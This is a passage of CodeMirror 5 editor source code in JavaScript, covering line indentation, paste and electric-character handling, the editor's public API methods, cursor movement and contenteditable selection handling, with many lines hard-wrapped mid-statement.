    on(inp, "keypress", operation(cm, onKeyPress));
    on(inp, "focus", function (e) { return onFocus(cm, e); });
    on(inp, "blur", function (e) { return onBlur(cm, e); });
  }

  var initHooks = [];
  CodeMirror.defineInitHook = function (f) { return initHooks.push(f); };

  // Indent the given line. The how parameter can be "smart",
  // "add"/null, "subtract", or "prev". When
aggressive is false
  // (typically set to true for forced single-line indents), empty
  // lines are not indented, and places where the mode returns Pass
  // are left alone.
  function indentLine(cm, n, how, aggressive) {
    var doc = cm.doc, state;
    if (how == null) { how = "add"; }
    if (how == "smart") {
      // Fall back to "prev" when the mode doesn't have an
indentation
      // method.
      if (!doc.mode.indent) { how = "prev"; }
      else { state = getContextBefore(cm, n).state; }
    }

    var tabSize = cm.options.tabSize;
    var line = getLine(doc, n), curSpace = countColumn(line.text, null,
tabSize);
    if (line.stateAfter) { line.stateAfter = null; }
    var curSpaceString = line.text.match(/^\s*/)[0], indentation;
    if (!aggressive && !/\S/.test(line.text)) {
      indentation = 0;
      how = "not";
    } else if (how == "smart") {
      indentation = doc.mode.indent(state,
line.text.slice(curSpaceString.length), line.text);
      if (indentation == Pass || indentation > 150) {
        if (!aggressive) { return }
        how = "prev";
      }
    }
    if (how == "prev") {
      if (n > doc.first) { indentation = countColumn(getLine(doc,
n-1).text, null, tabSize); }
      else { indentation = 0; }
    } else if (how == "add") {
      indentation = curSpace + cm.options.indentUnit;
    } else if (how == "subtract") {
      indentation = curSpace - cm.options.indentUnit;
    } else if (typeof how == "number") {
      indentation = curSpace + how;
    }
    indentation = Math.max(0, indentation);

    var indentString = "", pos = 0;
    if (cm.options.indentWithTabs)
      { for (var i = Math.floor(indentation / tabSize); i; --i) {pos +=
tabSize; indentString += "\t";} }
    if (pos < indentation) { indentString += spaceStr(indentation -
pos); }

    if (indentString != curSpaceString) {
      replaceRange(doc, indentString, Pos(n, 0), Pos(n,
curSpaceString.length), "+input");
      line.stateAfter = null;
      return true
    } else {
      // Ensure that, if the cursor was in the whitespace at the start
      // of the line, it is moved to the end of that space.
      for (var i$1 = 0; i$1 < doc.sel.ranges.length; i$1++) {
        var range = doc.sel.ranges[i$1];
        if (range.head.line == n && range.head.ch <
curSpaceString.length) {
          var pos$1 = Pos(n, curSpaceString.length);
          replaceOneSelection(doc, i$1, new Range(pos$1, pos$1));
          break
        }
      }
    }
  }

  // This will be set to a {lineWise: bool, text: [string]} object, so
  // that, when pasting, we know what kind of selections the copied
  // text was made out of.
  var lastCopied = null;

  function setLastCopied(newLastCopied) {
    lastCopied = newLastCopied;
  }

  function applyTextInput(cm, inserted, deleted, sel, origin) {
    var doc = cm.doc;
    cm.display.shift = false;
    if (!sel) { sel = doc.sel; }

    var recent = +new Date - 200;
    var paste = origin == "paste" || cm.state.pasteIncoming >
recent;
    var textLines = splitLinesAuto(inserted), multiPaste = null;
    // When pasting N lines into N selections, insert one line per
selection
    if (paste && sel.ranges.length > 1) {
      if (lastCopied && lastCopied.text.join("\n") ==
inserted) {
        if (sel.ranges.length % lastCopied.text.length == 0) {
          multiPaste = [];
          for (var i = 0; i < lastCopied.text.length; i++)
            { multiPaste.push(doc.splitLines(lastCopied.text[i])); }
        }
      } else if (textLines.length == sel.ranges.length &&
cm.options.pasteLinesPerSelection) {
        multiPaste = map(textLines, function (l) { return [l]; });
      }
    }

    var updateInput = cm.curOp.updateInput;
    // Normal behavior is to insert the new text into every selection
    for (var i$1 = sel.ranges.length - 1; i$1 >= 0; i$1--) {
      var range = sel.ranges[i$1];
      var from = range.from(), to = range.to();
      if (range.empty()) {
        if (deleted && deleted > 0) // Handle deletion
          { from = Pos(from.line, from.ch - deleted); }
        else if (cm.state.overwrite && !paste) // Handle overwrite
          { to = Pos(to.line, Math.min(getLine(doc, to.line).text.length,
to.ch + lst(textLines).length)); }
        else if (paste && lastCopied && lastCopied.lineWise
&& lastCopied.text.join("\n") ==
textLines.join("\n"))
          { from = to = Pos(from.line, 0); }
      }
      var changeEvent = {from: from, to: to, text: multiPaste ?
multiPaste[i$1 % multiPaste.length] : textLines,
                         origin: origin || (paste ? "paste" :
cm.state.cutIncoming > recent ? "cut" : "+input")};
      makeChange(cm.doc, changeEvent);
      signalLater(cm, "inputRead", cm, changeEvent);
    }
    if (inserted && !paste)
      { triggerElectric(cm, inserted); }

    ensureCursorVisible(cm);
    if (cm.curOp.updateInput < 2) { cm.curOp.updateInput = updateInput;
}
    cm.curOp.typing = true;
    cm.state.pasteIncoming = cm.state.cutIncoming = -1;
  }

  function handlePaste(e, cm) {
    var pasted = e.clipboardData &&
e.clipboardData.getData("Text");
    if (pasted) {
      e.preventDefault();
      if (!cm.isReadOnly() && !cm.options.disableInput)
        { runInOp(cm, function () { return applyTextInput(cm, pasted, 0,
null, "paste"); }); }
      return true
    }
  }

  function triggerElectric(cm, inserted) {
    // When an 'electric' character is inserted, immediately
trigger a reindent
    if (!cm.options.electricChars || !cm.options.smartIndent) { return }
    var sel = cm.doc.sel;

    for (var i = sel.ranges.length - 1; i >= 0; i--) {
      var range = sel.ranges[i];
      if (range.head.ch > 100 || (i && sel.ranges[i -
1].head.line == range.head.line)) { continue }
      var mode = cm.getModeAt(range.head);
      var indented = false;
      if (mode.electricChars) {
        for (var j = 0; j < mode.electricChars.length; j++)
          { if (inserted.indexOf(mode.electricChars.charAt(j)) > -1) {
            indented = indentLine(cm, range.head.line, "smart");
            break
          } }
      } else if (mode.electricInput) {
        if (mode.electricInput.test(getLine(cm.doc,
range.head.line).text.slice(0, range.head.ch)))
          { indented = indentLine(cm, range.head.line, "smart");
}
      }
      if (indented) { signalLater(cm, "electricInput", cm,
range.head.line); }
    }
  }

  function copyableRanges(cm) {
    var text = [], ranges = [];
    for (var i = 0; i < cm.doc.sel.ranges.length; i++) {
      var line = cm.doc.sel.ranges[i].head.line;
      var lineRange = {anchor: Pos(line, 0), head: Pos(line + 1, 0)};
      ranges.push(lineRange);
      text.push(cm.getRange(lineRange.anchor, lineRange.head));
    }
    return {text: text, ranges: ranges}
  }

  function disableBrowserMagic(field, spellcheck, autocorrect,
autocapitalize) {
    field.setAttribute("autocorrect", autocorrect ? ""
: "off");
    field.setAttribute("autocapitalize", autocapitalize ?
"" : "off");
    field.setAttribute("spellcheck", !!spellcheck);
  }

  function hiddenTextarea() {
    var te = elt("textarea", null, null, "position:
absolute; bottom: -1em; padding: 0; width: 1px; height: 1em; outline:
none");
    var div = elt("div", [te], null, "overflow: hidden;
position: relative; width: 3px; height: 0px;");
    // The textarea is kept positioned near the cursor to prevent the
    // fact that it'll be scrolled into view on input from scrolling
    // our fake cursor out of view. On webkit, when wrap=off, paste is
    // very slow. So make the area wide instead.
    if (webkit) { te.style.width = "1000px"; }
    else { te.setAttribute("wrap", "off"); }
    // If border: 0; -- iOS fails to open keyboard (issue #1287)
    if (ios) { te.style.border = "1px solid black"; }
    disableBrowserMagic(te);
    return div
  }

  // The publicly visible API. Note that methodOp(f) means
  // 'wrap f in an operation, performed on its `this` parameter'.

  // This is not the complete set of editor methods. Most of the
  // methods defined on the Doc type are also injected into
  // CodeMirror.prototype, for backwards compatibility and
  // convenience.

  function addEditorMethods(CodeMirror) {
    var optionHandlers = CodeMirror.optionHandlers;

    var helpers = CodeMirror.helpers = {};

    CodeMirror.prototype = {
      constructor: CodeMirror,
      focus: function(){window.focus(); this.display.input.focus();},

      setOption: function(option, value) {
        var options = this.options, old = options[option];
        if (options[option] == value && option != "mode")
{ return }
        options[option] = value;
        if (optionHandlers.hasOwnProperty(option))
          { operation(this, optionHandlers[option])(this, value, old); }
        signal(this, "optionChange", this, option);
      },

      getOption: function(option) {return this.options[option]},
      getDoc: function() {return this.doc},

      addKeyMap: function(map, bottom) {
        this.state.keyMaps[bottom ? "push" :
"unshift"](getKeyMap(map));
      },
      removeKeyMap: function(map) {
        var maps = this.state.keyMaps;
        for (var i = 0; i < maps.length; ++i)
          { if (maps[i] == map || maps[i].name == map) {
            maps.splice(i, 1);
            return true
          } }
      },

      addOverlay: methodOp(function(spec, options) {
        var mode = spec.token ? spec : CodeMirror.getMode(this.options,
spec);
        if (mode.startState) { throw new Error("Overlays may not be
stateful.") }
        insertSorted(this.state.overlays,
                     {mode: mode, modeSpec: spec, opaque: options
&& options.opaque,
                      priority: (options && options.priority) ||
0},
                     function (overlay) { return overlay.priority; });
        this.state.modeGen++;
        regChange(this);
      }),
      removeOverlay: methodOp(function(spec) {
        var overlays = this.state.overlays;
        for (var i = 0; i < overlays.length; ++i) {
          var cur = overlays[i].modeSpec;
          if (cur == spec || typeof spec == "string" &&
cur.name == spec) {
            overlays.splice(i, 1);
            this.state.modeGen++;
            regChange(this);
            return
          }
        }
      }),

      indentLine: methodOp(function(n, dir, aggressive) {
        if (typeof dir != "string" && typeof dir !=
"number") {
          if (dir == null) { dir = this.options.smartIndent ?
"smart" : "prev"; }
          else { dir = dir ? "add" : "subtract"; }
        }
        if (isLine(this.doc, n)) { indentLine(this, n, dir, aggressive); }
      }),
      indentSelection: methodOp(function(how) {
        var ranges = this.doc.sel.ranges, end = -1;
        for (var i = 0; i < ranges.length; i++) {
          var range = ranges[i];
          if (!range.empty()) {
            var from = range.from(), to = range.to();
            var start = Math.max(end, from.line);
            end = Math.min(this.lastLine(), to.line - (to.ch ? 0 : 1)) + 1;
            for (var j = start; j < end; ++j)
              { indentLine(this, j, how); }
            var newRanges = this.doc.sel.ranges;
            if (from.ch == 0 && ranges.length == newRanges.length
&& newRanges[i].from().ch > 0)
              { replaceOneSelection(this.doc, i, new Range(from,
newRanges[i].to()), sel_dontScroll); }
          } else if (range.head.line > end) {
            indentLine(this, range.head.line, how, true);
            end = range.head.line;
            if (i == this.doc.sel.primIndex) { ensureCursorVisible(this); }
          }
        }
      }),

      // Fetch the parser token for a given character. Useful for hacks
      // that want to inspect the mode state (say, for completion).
      getTokenAt: function(pos, precise) {
        return takeToken(this, pos, precise)
      },

      getLineTokens: function(line, precise) {
        return takeToken(this, Pos(line), precise, true)
      },

      getTokenTypeAt: function(pos) {
        pos = clipPos(this.doc, pos);
        var styles = getLineStyles(this, getLine(this.doc, pos.line));
        var before = 0, after = (styles.length - 1) / 2, ch = pos.ch;
        var type;
        if (ch == 0) { type = styles[2]; }
        else { for (;;) {
          var mid = (before + after) >> 1;
          if ((mid ? styles[mid * 2 - 1] : 0) >= ch) { after = mid; }
          else if (styles[mid * 2 + 1] < ch) { before = mid + 1; }
          else { type = styles[mid * 2 + 2]; break }
        } }
        var cut = type ? type.indexOf("overlay ") : -1;
        return cut < 0 ? type : cut == 0 ? null : type.slice(0, cut - 1)
      },

      getModeAt: function(pos) {
        var mode = this.doc.mode;
        if (!mode.innerMode) { return mode }
        return CodeMirror.innerMode(mode, this.getTokenAt(pos).state).mode
      },

      getHelper: function(pos, type) {
        return this.getHelpers(pos, type)[0]
      },

      getHelpers: function(pos, type) {
        var found = [];
        if (!helpers.hasOwnProperty(type)) { return found }
        var help = helpers[type], mode = this.getModeAt(pos);
        if (typeof mode[type] == "string") {
          if (help[mode[type]]) { found.push(help[mode[type]]); }
        } else if (mode[type]) {
          for (var i = 0; i < mode[type].length; i++) {
            var val = help[mode[type][i]];
            if (val) { found.push(val); }
          }
        } else if (mode.helperType && help[mode.helperType]) {
          found.push(help[mode.helperType]);
        } else if (help[mode.name]) {
          found.push(help[mode.name]);
        }
        for (var i$1 = 0; i$1 < help._global.length; i$1++) {
          var cur = help._global[i$1];
          if (cur.pred(mode, this) && indexOf(found, cur.val) ==
-1)
            { found.push(cur.val); }
        }
        return found
      },

      getStateAfter: function(line, precise) {
        var doc = this.doc;
        line = clipLine(doc, line == null ? doc.first + doc.size - 1:
line);
        return getContextBefore(this, line + 1, precise).state
      },

      cursorCoords: function(start, mode) {
        var pos, range = this.doc.sel.primary();
        if (start == null) { pos = range.head; }
        else if (typeof start == "object") { pos =
clipPos(this.doc, start); }
        else { pos = start ? range.from() : range.to(); }
        return cursorCoords(this, pos, mode || "page")
      },

      charCoords: function(pos, mode) {
        return charCoords(this, clipPos(this.doc, pos), mode ||
"page")
      },

      coordsChar: function(coords, mode) {
        coords = fromCoordSystem(this, coords, mode || "page");
        return coordsChar(this, coords.left, coords.top)
      },

      lineAtHeight: function(height, mode) {
        height = fromCoordSystem(this, {top: height, left: 0}, mode ||
"page").top;
        return lineAtHeight(this.doc, height + this.display.viewOffset)
      },
      heightAtLine: function(line, mode, includeWidgets) {
        var end = false, lineObj;
        if (typeof line == "number") {
          var last = this.doc.first + this.doc.size - 1;
          if (line < this.doc.first) { line = this.doc.first; }
          else if (line > last) { line = last; end = true; }
          lineObj = getLine(this.doc, line);
        } else {
          lineObj = line;
        }
        return intoCoordSystem(this, lineObj, {top: 0, left: 0}, mode ||
"page", includeWidgets || end).top +
          (end ? this.doc.height - heightAtLine(lineObj) : 0)
      },

      defaultTextHeight: function() { return textHeight(this.display) },
      defaultCharWidth: function() { return charWidth(this.display) },

      getViewport: function() { return {from: this.display.viewFrom, to:
this.display.viewTo}},

      addWidget: function(pos, node, scroll, vert, horiz) {
        var display = this.display;
        pos = cursorCoords(this, clipPos(this.doc, pos));
        var top = pos.bottom, left = pos.left;
        node.style.position = "absolute";
        node.setAttribute("cm-ignore-events", "true");
        this.display.input.setUneditable(node);
        display.sizer.appendChild(node);
        if (vert == "over") {
          top = pos.top;
        } else if (vert == "above" || vert == "near") {
          var vspace = Math.max(display.wrapper.clientHeight,
this.doc.height),
          hspace = Math.max(display.sizer.clientWidth,
display.lineSpace.clientWidth);
          // Default to positioning above (if specified and possible);
otherwise default to positioning below
          if ((vert == 'above' || pos.bottom + node.offsetHeight
> vspace) && pos.top > node.offsetHeight)
            { top = pos.top - node.offsetHeight; }
          else if (pos.bottom + node.offsetHeight <= vspace)
            { top = pos.bottom; }
          if (left + node.offsetWidth > hspace)
            { left = hspace - node.offsetWidth; }
        }
        node.style.top = top + "px";
        node.style.left = node.style.right = "";
        if (horiz == "right") {
          left = display.sizer.clientWidth - node.offsetWidth;
          node.style.right = "0px";
        } else {
          if (horiz == "left") { left = 0; }
          else if (horiz == "middle") { left =
(display.sizer.clientWidth - node.offsetWidth) / 2; }
          node.style.left = left + "px";
        }
        if (scroll)
          { scrollIntoView(this, {left: left, top: top, right: left +
node.offsetWidth, bottom: top + node.offsetHeight}); }
      },

      triggerOnKeyDown: methodOp(onKeyDown),
      triggerOnKeyPress: methodOp(onKeyPress),
      triggerOnKeyUp: onKeyUp,
      triggerOnMouseDown: methodOp(onMouseDown),

      execCommand: function(cmd) {
        if (commands.hasOwnProperty(cmd))
          { return commands[cmd].call(null, this) }
      },

      triggerElectric: methodOp(function(text) { triggerElectric(this,
text); }),

      findPosH: function(from, amount, unit, visually) {
        var dir = 1;
        if (amount < 0) { dir = -1; amount = -amount; }
        var cur = clipPos(this.doc, from);
        for (var i = 0; i < amount; ++i) {
          cur = findPosH(this.doc, cur, dir, unit, visually);
          if (cur.hitSide) { break }
        }
        return cur
      },

      moveH: methodOp(function(dir, unit) {
        var this$1 = this;

        this.extendSelectionsBy(function (range) {
          if (this$1.display.shift || this$1.doc.extend || range.empty())
            { return findPosH(this$1.doc, range.head, dir, unit,
this$1.options.rtlMoveVisually) }
          else
            { return dir < 0 ? range.from() : range.to() }
        }, sel_move);
      }),

      deleteH: methodOp(function(dir, unit) {
        var sel = this.doc.sel, doc = this.doc;
        if (sel.somethingSelected())
          { doc.replaceSelection("", null, "+delete");
}
        else
          { deleteNearSelection(this, function (range) {
            var other = findPosH(doc, range.head, dir, unit, false);
            return dir < 0 ? {from: other, to: range.head} : {from:
range.head, to: other}
          }); }
      }),

      findPosV: function(from, amount, unit, goalColumn) {
        var dir = 1, x = goalColumn;
        if (amount < 0) { dir = -1; amount = -amount; }
        var cur = clipPos(this.doc, from);
        for (var i = 0; i < amount; ++i) {
          var coords = cursorCoords(this, cur, "div");
          if (x == null) { x = coords.left; }
          else { coords.left = x; }
          cur = findPosV(this, coords, dir, unit);
          if (cur.hitSide) { break }
        }
        return cur
      },

      moveV: methodOp(function(dir, unit) {
        var this$1 = this;

        var doc = this.doc, goals = [];
        var collapse = !this.display.shift && !doc.extend
&& doc.sel.somethingSelected();
        doc.extendSelectionsBy(function (range) {
          if (collapse)
            { return dir < 0 ? range.from() : range.to() }
          var headPos = cursorCoords(this$1, range.head, "div");
          if (range.goalColumn != null) { headPos.left = range.goalColumn;
}
          goals.push(headPos.left);
          var pos = findPosV(this$1, headPos, dir, unit);
          if (unit == "page" && range ==
doc.sel.primary())
            { addToScrollTop(this$1, charCoords(this$1, pos,
"div").top - headPos.top); }
          return pos
        }, sel_move);
        if (goals.length) { for (var i = 0; i < doc.sel.ranges.length;
i++)
          { doc.sel.ranges[i].goalColumn = goals[i]; } }
      }),

      // Find the word at the given position (as returned by coordsChar).
      findWordAt: function(pos) {
        var doc = this.doc, line = getLine(doc, pos.line).text;
        var start = pos.ch, end = pos.ch;
        if (line) {
          var helper = this.getHelper(pos, "wordChars");
          if ((pos.sticky == "before" || end == line.length)
&& start) { --start; } else { ++end; }
          var startChar = line.charAt(start);
          var check = isWordChar(startChar, helper)
            ? function (ch) { return isWordChar(ch, helper); }
            : /\s/.test(startChar) ? function (ch) { return /\s/.test(ch);
}
            : function (ch) { return (!/\s/.test(ch) &&
!isWordChar(ch)); };
          while (start > 0 && check(line.charAt(start - 1))) {
--start; }
          while (end < line.length && check(line.charAt(end))) {
++end; }
        }
        return new Range(Pos(pos.line, start), Pos(pos.line, end))
      },

      toggleOverwrite: function(value) {
        if (value != null && value == this.state.overwrite) {
return }
        if (this.state.overwrite = !this.state.overwrite)
          { addClass(this.display.cursorDiv,
"CodeMirror-overwrite"); }
        else
          { rmClass(this.display.cursorDiv,
"CodeMirror-overwrite"); }

        signal(this, "overwriteToggle", this,
this.state.overwrite);
      },
      hasFocus: function() { return this.display.input.getField() ==
activeElt() },
      isReadOnly: function() { return !!(this.options.readOnly ||
this.doc.cantEdit) },

      scrollTo: methodOp(function (x, y) { scrollToCoords(this, x, y); }),
      getScrollInfo: function() {
        var scroller = this.display.scroller;
        return {left: scroller.scrollLeft, top: scroller.scrollTop,
                height: scroller.scrollHeight - scrollGap(this) -
this.display.barHeight,
                width: scroller.scrollWidth - scrollGap(this) -
this.display.barWidth,
                clientHeight: displayHeight(this), clientWidth:
displayWidth(this)}
      },

      scrollIntoView: methodOp(function(range, margin) {
        if (range == null) {
          range = {from: this.doc.sel.primary().head, to: null};
          if (margin == null) { margin = this.options.cursorScrollMargin; }
        } else if (typeof range == "number") {
          range = {from: Pos(range, 0), to: null};
        } else if (range.from == null) {
          range = {from: range, to: null};
        }
        if (!range.to) { range.to = range.from; }
        range.margin = margin || 0;

        if (range.from.line != null) {
          scrollToRange(this, range);
        } else {
          scrollToCoordsRange(this, range.from, range.to, range.margin);
        }
      }),

      setSize: methodOp(function(width, height) {
        var this$1 = this;

        var interpret = function (val) { return typeof val ==
"number" || /^\d+$/.test(String(val)) ? val + "px" :
val; };
        if (width != null) { this.display.wrapper.style.width =
interpret(width); }
        if (height != null) { this.display.wrapper.style.height =
interpret(height); }
        if (this.options.lineWrapping) { clearLineMeasurementCache(this); }
        var lineNo = this.display.viewFrom;
        this.doc.iter(lineNo, this.display.viewTo, function (line) {
          if (line.widgets) { for (var i = 0; i < line.widgets.length;
i++)
            { if (line.widgets[i].noHScroll) { regLineChange(this$1,
lineNo, "widget"); break } } }
          ++lineNo;
        });
        this.curOp.forceUpdate = true;
        signal(this, "refresh", this);
      }),

      operation: function(f){return runInOp(this, f)},
      startOperation: function(){return startOperation(this)},
      endOperation: function(){return endOperation(this)},

      refresh: methodOp(function() {
        var oldHeight = this.display.cachedTextHeight;
        regChange(this);
        this.curOp.forceUpdate = true;
        clearCaches(this);
        scrollToCoords(this, this.doc.scrollLeft, this.doc.scrollTop);
        updateGutterSpace(this.display);
        if (oldHeight == null || Math.abs(oldHeight -
textHeight(this.display)) > .5 || this.options.lineWrapping)
          { estimateLineHeights(this); }
        signal(this, "refresh", this);
      }),

      swapDoc: methodOp(function(doc) {
        var old = this.doc;
        old.cm = null;
        // Cancel the current text selection if any (#5821)
        if (this.state.selectingText) { this.state.selectingText(); }
        attachDoc(this, doc);
        clearCaches(this);
        this.display.input.reset();
        scrollToCoords(this, doc.scrollLeft, doc.scrollTop);
        this.curOp.forceScroll = true;
        signalLater(this, "swapDoc", this, old);
        return old
      }),

      phrase: function(phraseText) {
        var phrases = this.options.phrases;
        return phrases &&
Object.prototype.hasOwnProperty.call(phrases, phraseText) ?
phrases[phraseText] : phraseText
      },

      getInputField: function(){return this.display.input.getField()},
      getWrapperElement: function(){return this.display.wrapper},
      getScrollerElement: function(){return this.display.scroller},
      getGutterElement: function(){return this.display.gutters}
    };
    eventMixin(CodeMirror);

    CodeMirror.registerHelper = function(type, name, value) {
      if (!helpers.hasOwnProperty(type)) { helpers[type] = CodeMirror[type]
= {_global: []}; }
      helpers[type][name] = value;
    };
    CodeMirror.registerGlobalHelper = function(type, name, predicate,
value) {
      CodeMirror.registerHelper(type, name, value);
      helpers[type]._global.push({pred: predicate, val: value});
    };
  }

  // Used for horizontal relative motion. Dir is -1 or 1 (left or
  // right), unit can be "char", "column" (like char,
but doesn't
  // cross line boundaries), "word" (across next word), or
"group" (to
  // the start of next group of word or non-word-non-whitespace
  // chars). The visually param controls whether, in right-to-left
  // text, direction 1 means to move towards the next index in the
  // string, or towards the character to the right of the current
  // position. The resulting position will have a hitSide=true
  // property if it reached the end of the document.
  function findPosH(doc, pos, dir, unit, visually) {
    var oldPos = pos;
    var origDir = dir;
    var lineObj = getLine(doc, pos.line);
    var lineDir = visually && doc.direction == "rtl" ?
-dir : dir;
    function findNextLine() {
      var l = pos.line + lineDir;
      if (l < doc.first || l >= doc.first + doc.size) { return false
}
      pos = new Pos(l, pos.ch, pos.sticky);
      return lineObj = getLine(doc, l)
    }
    function moveOnce(boundToLine) {
      var next;
      if (visually) {
        next = moveVisually(doc.cm, lineObj, pos, dir);
      } else {
        next = moveLogically(lineObj, pos, dir);
      }
      if (next == null) {
        if (!boundToLine && findNextLine())
          { pos = endOfLine(visually, doc.cm, lineObj, pos.line, lineDir);
}
        else
          { return false }
      } else {
        pos = next;
      }
      return true
    }

    if (unit == "char") {
      moveOnce();
    } else if (unit == "column") {
      moveOnce(true);
    } else if (unit == "word" || unit == "group") {
      var sawType = null, group = unit == "group";
      var helper = doc.cm && doc.cm.getHelper(pos,
"wordChars");
      for (var first = true;; first = false) {
        if (dir < 0 && !moveOnce(!first)) { break }
        var cur = lineObj.text.charAt(pos.ch) || "\n";
        var type = isWordChar(cur, helper) ? "w"
          : group && cur == "\n" ? "n"
          : !group || /\s/.test(cur) ? null
          : "p";
        if (group && !first && !type) { type =
"s"; }
        if (sawType && sawType != type) {
          if (dir < 0) {dir = 1; moveOnce(); pos.sticky =
"after";}
          break
        }

        if (type) { sawType = type; }
        if (dir > 0 && !moveOnce(!first)) { break }
      }
    }
    var result = skipAtomic(doc, pos, oldPos, origDir, true);
    if (equalCursorPos(oldPos, result)) { result.hitSide = true; }
    return result
  }

  // For relative vertical movement. Dir may be -1 or 1. Unit can be
  // "page" or "line". The resulting position will have
a hitSide=true
  // property if it reached the end of the document.
  function findPosV(cm, pos, dir, unit) {
    var doc = cm.doc, x = pos.left, y;
    if (unit == "page") {
      var pageSize = Math.min(cm.display.wrapper.clientHeight,
window.innerHeight || document.documentElement.clientHeight);
      var moveAmount = Math.max(pageSize - .5 * textHeight(cm.display), 3);
      y = (dir > 0 ? pos.bottom : pos.top) + dir * moveAmount;

    } else if (unit == "line") {
      y = dir > 0 ? pos.bottom + 3 : pos.top - 3;
    }
    var target;
    for (;;) {
      target = coordsChar(cm, x, y);
      if (!target.outside) { break }
      if (dir < 0 ? y <= 0 : y >= doc.height) { target.hitSide =
true; break }
      y += dir * 5;
    }
    return target
  }

  // CONTENTEDITABLE INPUT STYLE

  var ContentEditableInput = function(cm) {
    this.cm = cm;
    this.lastAnchorNode = this.lastAnchorOffset = this.lastFocusNode =
this.lastFocusOffset = null;
    this.polling = new Delayed();
    this.composing = null;
    this.gracePeriod = false;
    this.readDOMTimeout = null;
  };

  ContentEditableInput.prototype.init = function (display) {
      var this$1 = this;

    var input = this, cm = input.cm;
    var div = input.div = display.lineDiv;
    disableBrowserMagic(div, cm.options.spellcheck, cm.options.autocorrect,
cm.options.autocapitalize);

    function belongsToInput(e) {
      for (var t = e.target; t; t = t.parentNode) {
        if (t == div) { return true }
        if (/\bCodeMirror-(?:line)?widget\b/.test(t.className)) { break }
      }
      return false
    }

    on(div, "paste", function (e) {
      if (!belongsToInput(e) || signalDOMEvent(cm, e) || handlePaste(e,
cm)) { return }
      // IE doesn't fire input events, so we schedule a read for the
pasted content in this way
      if (ie_version <= 11) { setTimeout(operation(cm, function () {
return this$1.updateFromDOM(); }), 20); }
    });

    on(div, "compositionstart", function (e) {
      this$1.composing = {data: e.data, done: false};
    });
    on(div, "compositionupdate", function (e) {
      if (!this$1.composing) { this$1.composing = {data: e.data, done:
false}; }
    });
    on(div, "compositionend", function (e) {
      if (this$1.composing) {
        if (e.data != this$1.composing.data) { this$1.readFromDOMSoon(); }
        this$1.composing.done = true;
      }
    });

    on(div, "touchstart", function () { return
input.forceCompositionEnd(); });

    on(div, "input", function () {
      if (!this$1.composing) { this$1.readFromDOMSoon(); }
    });

    function onCopyCut(e) {
      if (!belongsToInput(e) || signalDOMEvent(cm, e)) { return }
      if (cm.somethingSelected()) {
        setLastCopied({lineWise: false, text: cm.getSelections()});
        if (e.type == "cut") { cm.replaceSelection("",
null, "cut"); }
      } else if (!cm.options.lineWiseCopyCut) {
        return
      } else {
        var ranges = copyableRanges(cm);
        setLastCopied({lineWise: true, text: ranges.text});
        if (e.type == "cut") {
          cm.operation(function () {
            cm.setSelections(ranges.ranges, 0, sel_dontScroll);
            cm.replaceSelection("", null, "cut");
          });
        }
      }
      if (e.clipboardData) {
        e.clipboardData.clearData();
        var content = lastCopied.text.join("\n");
        // iOS exposes the clipboard API, but seems to discard content
inserted into it
        e.clipboardData.setData("Text", content);
        if (e.clipboardData.getData("Text") == content) {
          e.preventDefault();
          return
        }
      }
      // Old-fashioned briefly-focus-a-textarea hack
      var kludge = hiddenTextarea(), te = kludge.firstChild;
      cm.display.lineSpace.insertBefore(kludge,
cm.display.lineSpace.firstChild);
      te.value = lastCopied.text.join("\n");
      var hadFocus = document.activeElement;
      selectInput(te);
      setTimeout(function () {
        cm.display.lineSpace.removeChild(kludge);
        hadFocus.focus();
        if (hadFocus == div) { input.showPrimarySelection(); }
      }, 50);
    }
    on(div, "copy", onCopyCut);
    on(div, "cut", onCopyCut);
  };

  ContentEditableInput.prototype.screenReaderLabelChanged = function
(label) {
    // Label for screenreaders, accessibility
    if(label) {
      this.div.setAttribute('aria-label', label);
    } else {
      this.div.removeAttribute('aria-label');
    }
  };

  ContentEditableInput.prototype.prepareSelection = function () {
    var result = prepareSelection(this.cm, false);
    result.focus = document.activeElement == this.div;
    return result
  };

  ContentEditableInput.prototype.showSelection = function (info, takeFocus)
{
    if (!info || !this.cm.display.view.length) { return }
    if (info.focus || takeFocus) { this.showPrimarySelection(); }
    this.showMultipleSelections(info);
  };

  ContentEditableInput.prototype.getSelection = function () {
    return this.cm.display.wrapper.ownerDocument.getSelection()
  };

  ContentEditableInput.prototype.showPrimarySelection = function () {
    var sel = this.getSelection(), cm = this.cm, prim =
cm.doc.sel.primary();
    var from = prim.from(), to = prim.to();

    if (cm.display.viewTo == cm.display.viewFrom || from.line >=
cm.display.viewTo || to.line < cm.display.viewFrom) {
      sel.removeAllRanges();
      return
    }

    var curAnchor = domToPos(cm, sel.anchorNode, sel.anchorOffset);
    var curFocus = domToPos(cm, sel.focusNode, sel.focusOffset);
    if (curAnchor && !curAnchor.bad && curFocus &&
!curFocus.bad &&
        cmp(minPos(curAnchor, curFocus), from) == 0 &&
        cmp(maxPos(curAnchor, curFocus), to) == 0)
      { return }

    var view = cm.display.view;
    var start = (from.line >= cm.display.viewFrom &&
posToDOM(cm, from)) ||
        {node: view[0].measure.map[2], offset: 0};
    var end = to.line < cm.display.viewTo && posToDOM(cm, to);
    if (!end) {
      var measure = view[view.length - 1].measure;
      var map = measure.maps ? measure.maps[measure.maps.length - 1] :
measure.map;
      end = {node: map[map.length - 1], offset: map[map.length - 2] -
map[map.length - 3]};
    }

    if (!start || !end) {
      sel.removeAllRanges();
      return
    }

    var old = sel.rangeCount && sel.getRangeAt(0), rng;
    try { rng = range(start.node, start.offset, end.offset, end.node); }
    catch(e) {} // Our model of the DOM might be outdated, in which case
the range we try to set can be impossible
    if (rng) {
      if (!gecko && cm.state.focused) {
        sel.collapse(start.node, start.offset);
        if (!rng.collapsed) {
          sel.removeAllRanges();
          sel.addRange(rng);
        }
      } else {
        sel.removeAllRanges();
        sel.addRange(rng);
      }
      if (old && sel.anchorNode == null) { sel.addRange(old); }
      else if (gecko) { this.startGracePeriod(); }
    }
    this.rememberSelection();
  };

  ContentEditableInput.prototype.startGracePeriod = function () {
      var this$1 = this;

    clearTimeout(this.gracePeriod);
    this.gracePeriod = setTimeout(function () {
      this$1.gracePeriod = false;
      if (this$1.selectionChanged())
        { this$1.cm.operation(function () { return
this$1.cm.curOp.selectionChanged = true; }); }
    }, 20);
  };

  ContentEditableInput.prototype.showMultipleSelections = function (info) {
    removeChildrenAndAdd(this.cm.display.cursorDiv, info.cursors);
    removeChildrenAndAdd(this.cm.display.selectionDiv, info.selection);
  };

  ContentEditableInput.prototype.rememberSelection = function () {
    var sel = this.getSelection();
    this.lastAnchorNode = sel.anchorNode; this.lastAnchorOffset =
sel.anchorOffset;
